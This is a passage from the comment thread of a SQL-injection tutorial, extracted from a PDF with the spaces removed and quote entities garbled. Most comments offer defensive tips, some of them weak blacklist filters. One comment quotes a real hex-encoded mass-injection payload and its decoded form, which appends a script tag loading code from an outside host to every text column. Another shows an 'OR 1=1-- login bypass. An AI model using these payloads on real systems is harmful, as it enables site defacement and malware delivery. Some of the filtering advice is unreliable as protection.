From: BkJk Hey.Veryniceartical. IwouldjustliketopointoutthatwhenyousaidthatSYSTEMhasthesameprivilegesastheadministrator thatthatisslightlyoff.SYSTEMactuallyhasmoreprivilegesbecauseSYSTEMcanterminateanyprocess ownedbySYSTEMwhereasevenanadministratorcan'tdothis.Nothingbig,justwantedtopointthatout. Subject: HowtopreventSQLinjection. Date: 10Feb.2008 From: Mike IhaveaveryeffectivewayofstoppingSQLinjection---ifyou'reusingPHP5.2.3usethislittlefunction: functionfilter(&$item){ if(is_array($item))foreach($itemas&$element)filter($element); else$item=str_replace(str_split("e;=+()*\\/"e;),NULL,htmlentities($item,ENT_QUOTES, "e;ISO-8859-1"e;,TRUE)); } Thensimplycalliton$_REQUEST: filter($_REQUEST); Jobdone:) Subject: sqlinjectiontoolstodownload Date: 12Feb.2008 From: sqlinject howtoguardagainstthesqlinjection: http://beta.firsttub.com/htdocs/cms/wordpress/2008/02/12/guard-against-the-sql-injection/ Subject: Isthissafepart1of2 Date: 16Feb.2008 From: blaghssd foreach($arraynameas$key=>$value) { $value=str_replace("e;$"e;,"e;_DOLLAR_"e;,"e;$value"e;); $value=str_replace("e;="e;,"e;_E_"e;,"e;$value"e;); $value=str_replace("e;&"e;,"e;_AND_"e;,"e;$value"e;); $value=str_replace("e;*"e;,"e;_STAR_"e;,"e;$value"e;); $value=str_replace("e;?"e;,"e;_QUESTION_"e;,"e;$value"e;); $value=str_replace("e;|"e;,"e;_PIPE_"e;,"e;$value"e;); $value=str_replace("e;`"e;,"e;_TICK_"e;,"e;$value"e;); $value=str_replace("e;#"e;,"e;_POUND_"e;,"e;$value"e;); $value=str_replace("e;^"e;,"e;_CARROT_"e;,"e;$value"e;);
11.05.09 16:30
http://www.securiteam.com/...
16 of 20
$value=str_replace("e;!"e;,"e;_EXCLAMATION_"e;,"e;$value"e;); $value=str_replace("e;;"e;,"e;_SEMICOLON_"e;,"e;$value"e;); $value=str_replace("e;~"e;,"e;_WAVE_"e;,"e;$value"e;); $value=str_replace("e;."e;,"e;_PERIOD_"e;,"e;$value"e;); $value=str_replace("e;\"e;"e;,"e;_QUOTE_"e;,"e;$value"e;); $value=str_replace("e;'"e;,"e;_APOSTROPHE_"e;,"e;$value"e;); $value=str_replace("e;\\"e;,"e;_BACKSLASH_"e;,"e;$value"e;); $value=str_replace("e;@"e;,"e;_AT_"e;,"e;$value"e;); $value=str_replace("e;<"e;,"e;_LEFT_ARROW_"e;,"e;$value"e;); $value=str_replace("e;>"e;,"e;_RIGHT_ARROW_"e;,"e;$value"e;); $value=str_replace("e;["e;,"e;_LEFT_BRACKET_"e;,"e;$value"e;); $value=str_replace("e;]"e;,"e;_RIGHT_BRACKET_"e;,"e;$value"e;); $value=str_replace("e;%"e;,"e;_PERCENT_"e;,"e;$value"e;); $returnarray[$key]=$value; } Subject: Isthissafepart2of2 Date: 16Feb.2008 From: blaghssd $value=str_replace("e;_DOLLAR_"e;,"e;$"e;,"e;$value"e;); $value=str_replace("e;_E_"e;,"e;="e;,"e;$value"e;); $value=str_replace("e;_AND_"e;,"e;&"e;,"e;$value"e;); $value=str_replace("e;_STAR_"e;,"e;*"e;,"e;$value"e;); $value=str_replace("e;_QUESTION_"e;,"e;?"e;,"e;$value"e;); $value=str_replace("e;_PIPE_"e;,"e;|"e;,"e;$value"e;); $value=str_replace("e;_TICK_"e;,"e;`"e;,"e;$value"e;); $value=str_replace("e;_POUND_"e;,"e;#"e;,"e;$value"e;); $value=str_replace("e;_CARROT_"e;,"e;^"e;,"e;$value"e;); $value=str_replace("e;_EXCLAMATION_"e;,"e;!"e;,"e;$value"e;); $value=str_replace("e;_SEMICOLON_"e;,"e;;"e;,"e;$value"e;); $value=str_replace("e;_WAVE_"e;,"e;~"e;,"e;$value"e;); $value=str_replace("e;_PERIOD_"e;,"e;."e;,"e;$value"e;); $value=str_replace("e;_QUOTE_"e;,"e;\"e;"e;,"e;$value"e;); $value=str_replace("e;_APOSTROPHE_"e;,"e;'"e;,"e;$value"e;); $value=str_replace("e;_BACKSLASH_"e;,"e;\\"e;,"e;$value"e;); $value=str_replace("e;_AT_"e;,"e;@"e;,"e;$value"e;); $value=str_replace("e;_LEFT_ARROW_"e;,"e;<"e;,"e;$value"e;); $value=str_replace("e;_RIGHT_ARROW_"e;,"e;>"e;,"e;$value"e;); $value=str_replace("e;_LEFT_BRACKET_"e;,"e;["e;,"e;$value"e;); $value=str_replace("e;_RIGHT_BRACKET_"e;,"e;]"e;,"e;$value"e;); $value=str_replace("e;_PERCENT_"e;,"e;%"e;,"e;$value"e;); 22Mar. 2008
IISFilter josie
Date:
11.05.09 16:30
http://www.securiteam.com/...
17 of 20
agree: http://www.codeplex.com/IIS6SQLInjection SofaritseemstobeworkingandIhavenothadproblemsexceptthatIcannotinstallinWindows64bit. Haveyouheardaboutthistool?Isthereawaytomakeitworkin64bit?ThesourcecodeistherebutIam notgoodinC++. Thanks, P.S.:Iamnotusingmyrealnametoavoidproblemwithmyclients. Subject: IISFiltertoSQLInjection Date: 8May2008 From: BetterSafethanSorry AfewofourlegacyASPapplicationwereaffectedbythisoutbreak.Itwasanaccidentwaitingtohappen though.Theblameisonthepoorlywrittencode,notinSQLorIIS.Sinceitistooexpensive(anddifficult)to fixallcode,youhavetolivewithit.Ifoundaninterestingandfree(GNUwithsourcecode)applicationforIIS thatprovedveryefficient.Iamstillbeingattacked,butthefilterhasblockedtheeffectsofsuchattacks. Installationandcodecanbefoundhere: http://www.codeplex.com/IIS6SQLInjection(binaryonly) TheonlybadthingisthatitisnotcompatiblewithWindows64bits.IhadtomoveallASPapplicationtoa lesserserver:( Subject: SQLInjectionProgrammingHelp Date: 13Jun.2008 From: AmirSegal Ifthishelpsatall,IpostedapagewithSQLInjectionprogrammingprotectionhere: http://www.cheergallery.com/SQLInjectionHelp.html AmirSegal,Programmer Subject: Whattheyrereallydoing Date: 18Jun.2008 From: princeoforange FWIW,thetechniquesmentionedheredon'tquitedescribethemethodsofemployedbyrecentSQLInjection attacksI'veseen.Lookforsomethinglikethisbeingappendedtoalegitimatecommandparameter: 'DECLARE@SVARCHAR(4000)SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564 152434841522832353529204445434C415245205461626C655F437572736F7220435 552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F 4D207379736F626A6563747320612C737973636F6C756D6E7320622057484552452 0612E69643D622E696420414E4420612E78747970653D27752720414E442028622E7 8747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D 323331204F5220622E78747970653D31363729204F50454E205461626C655F437572 736F72204645544348204E4558542046524F4D205461626C655F437572736F722049 4E544F2040542C4043205748494C4528404046455443485F5354415455533D302920 424547494E20455845432827555044415445205B272B40542B275D20534554205B2 72B40432B275D3D525452494D28434F4E5645525428564152434841522834303030
11.05.09 16:30
http://www.securiteam.com/...
18 of 20
292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2 F7777772E6368696E61626E722E636F6D2F622E6A733E3C2F7363726970743E2727 2729204645544348204E4558542046524F4D205461626C655F437572736F7220494E 544F2040542C404320454E4420434C4F5345205461626C655F437572736F7220444 5414C4C4F43415445205461626C655F437572736F7220ASVARCHAR(4000));EXEC(@S);-Ifyouprint@S,youget: DECLARE@TVARCHAR(255),@CVARCHAR(255) DECLARETable_CursorCURSORFOR SELECTa.name,b.nameFROMsysobjectsa,syscolumnsbWHEREa.id=b.idANDa.xtype='u'AND (b.xtype=99ORb.xtype=35ORb.xtype=231ORb.xtype=167) OPENTable_Cursor FETCHNEXTFROMTable_CursorINTO@T,@C WHILE(@@FETCH_STATUS=0)BEGINEXEC('UPDATE['+@T+']SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<scriptsrc=http://www.chinabnr.com/b.js> </script>''') FETCHNEXTFROMTable_CursorINTO@T,@C END CLOSETable_Cursor DEALLOCATETable_Cursor 22Aug. 2008
Subject:
Anothertip
Date:
From: Brian MakesuretheloginyouusefromyourwebsitedoesNOThavepermissiontosystemtableswhenitisnot needed,especiallysysobjects,syscolumns,system_objects,etc...publichasaccesstothembydefaultand thatiswhatopensthedoorwideformostoftheselowlifesiftheydofindacrack. Subject: KEYTOPREVENTSQLINJECTION From: ANKUR TUTORIALISOFCOURSEAQUALITYONE!!!GREATWORKBYAUTHOR... Date: 11Nov.2008
TOPREVENTSQLINJECTION,ALWAYSREMEMBERONETHING:ALLINPUTSAREEVIL. NEVERTRUSTANYUSERINPUT(EVENWHENITSHARD-CODEDINHIDDENTEXTFIELD)OR INFORMATIONFROMCOOKIES. ALWAYSPARSETHEINPUTASHTMLWHILEDISPLAYINGTHEMONWEBPAGE.OTHERWISE, ITMIGHTBEEXPLOITEDFORHACKINGSESSIONIDORRUNNINGSCRIPTS. BEFOREEXECUTINGANYSQLQUERY,ALWAYSPARSEITTOVALIDSQLUSING CONSTRAINTS. HAPPYSQLINJECTING... 31Dec. 2008
Subject:
None
Date:
11.05.09 16:30
http://www.securiteam.com/...
19 of 20
"e;SELECT*FROMuserWHEREuser="e;$inputUser"e;ANDpass="e;$inputPass& quote; If$inputUseris'OR1=1--,Itwouldthinkthatspartoftheusernameandnotanotherparttothequery However,if$inputUseris"e;OR1=1--,thequerywouldlooklikethis 'SELECT*FROMuserWHEREuser="e;"e;OR1=1',thatshowSQLwouldseethequery. Subject: Sqlinjection Date: 1May2009 From: Jonny $db=newPDO('pgsql:dbname=database'); $stmt=$db->prepare("e;SELECTprivFROMtestUsersWHEREusername=:usernameAND password=:password"e;); $stmt->bindParam(':username',$user); $stmt->bindParam(':password',$pass); $stmt->execute(); Basically,itassignsparameterstothequeryratherthanconcatenatingthequerytogethertoberun.Bydoing this,youensurethatyourparameterswillbeinterpretedasparameters(text)andnotsql.Sobyusingthis methodyouare100%secureforsqlinjections.Howeverrfiorxssattacksmaystillbeaproblem:PHope thishelpedanybodywhowaslookingforasolution.
11.05.09 16:30
http://www.securiteam.com/...
20 of 20